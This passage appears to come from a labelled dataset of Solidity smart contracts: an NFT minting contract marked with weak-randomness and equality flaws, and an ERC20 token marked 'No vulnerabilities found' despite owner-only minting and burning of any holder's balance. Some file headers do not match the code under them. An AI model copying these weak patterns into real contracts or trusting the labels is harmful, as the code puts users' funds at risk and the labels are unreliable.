* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
contract Incognito is ERC721, ERC721Enumerable, Ownable {
// Provenance
string public INCOGNITO_HASH = "";
// Price & Supply
uint256 public constant NFT_PRICE = 85000000000000000; //0.085 ETH
uint public constant MAX_SUPPLY = 10000;
// Internals
string private _baseTokenURI;
uint256 public startingIndexBlock;
uint256 public startingIndex;
// Sale
bool public hasSaleStarted = false;
uint private constant MAX_MINT_PER_CALL = 15;
// Pre-Sale
bool public hasPreSaleStarted = false;
uint public constant MAX_PRESALE_SUPPLY = 1333;
constructor(string memory baseURI) ERC721("Incognito", "ICON") {
setBaseURI(baseURI);
}
function _baseURI() internal view override(ERC721) returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
function getBaseURI() external view returns(string memory) {
return _baseTokenURI;
}
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
function mintPreSale() public payable {
require(hasPreSaleStarted, "Presale has not started");
require(msg.value >= NFT_PRICE, "Incorrect ether value");
require(totalSupply() < MAX_PRESALE_SUPPLY, "Presale has ended");
uint mintIndex = totalSupply() + 1; // +1 so it doesn't start on index 0.
_safeMint(msg.sender, mintIndex);
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_SUPPLY)) {
startingIndexBlock = block.number;
}
}
function mint(uint256 numNFTs) public payable {
require(hasSaleStarted, "Sale has not started");
require(MAX_SUPPLY > totalSupply(), "Sale has ended");
require(numNFTs > 0 && numNFTs <= MAX_MINT_PER_CALL, "Exceeds MAX_MINT_PER_CALL");
require(MAX_SUPPLY >= totalSupply() + numNFTs, "Exceeds MAX_SUPPLY");
require(msg.value >= NFT_PRICE * numNFTs, "Incorrect ether value");
for (uint i = 0; i < numNFTs; i++) {
uint mintIndex = totalSupply() + 1; // +1 so it doesn't start on index 0.
_safeMint(msg.sender, mintIndex);
}
// If we haven't set the starting index and this is either 1) the last saleable token or 2) the first token to be sold after
// the end of pre-sale, set the starting index block
if (startingIndexBlock == 0 && (totalSupply() == MAX_SUPPLY)) {
startingIndexBlock = block.number;
}
}
function flipSaleState() public onlyOwner {
hasSaleStarted = !hasSaleStarted;
}
function flipPreSaleState() public onlyOwner {
hasPreSaleStarted = !hasPreSaleStarted;
}
function withdraw() public onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function setStartingIndex() public {
require(startingIndex == 0, "Starting index is already set");
require(startingIndexBlock != 0, "Starting index block must be set");
startingIndex = uint(blockhash(startingIndexBlock)) % MAX_SUPPLY;
// Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes)
if (block.number - startingIndexBlock > 255) {
startingIndex = uint(blockhash(block.number - 1)) % MAX_SUPPLY;
}
// Prevent default sequence
if (startingIndex == 0) {
startingIndex = startingIndex + 1;
}
}
function emergencySetStartingIndexBlock() public onlyOwner {
require(startingIndex == 0, "Starting index is already set");
startingIndexBlock = block.number;
}
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
INCOGNITO_HASH = provenanceHash;
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) incorrect-equality with Medium impact
3) unused-return with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-09-04
*/
// SPDX-License-Identifier: MIT
/**
*
████████ ███████ ██████ ██████ ██ ██████ ██████ ██ ██ ██████ ██ ██ █████ ██ ███ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██
██ █████ ██ █████ ██████ ██ ██ ██ ██ █████ ██ ███████ ███████ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ███████ ██████ ██████ ███████ ██████ ██████ ██ ██ ██████ ██ ██ ██ ██ ██ ██ ████
*
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
//address msgSender = _msgSender(); // Owner address
address msgSender = _msgSender(); // Owner address
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TECBLOCKCHAIN is Context, IERC20, IERC20Metadata, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "TEC-BLOCKCHAIN";
_symbol = "TEC";
_decimals = 18;
_totalSupply = 5000000000 * 10 **(_decimals);
_balances[_msgSender()] = _totalSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override onlyOwner() returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual onlyOwner returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyOwner returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function burn(address account, uint256 amount) public onlyOwner{
_burn(account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | No vulnerabilities found |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
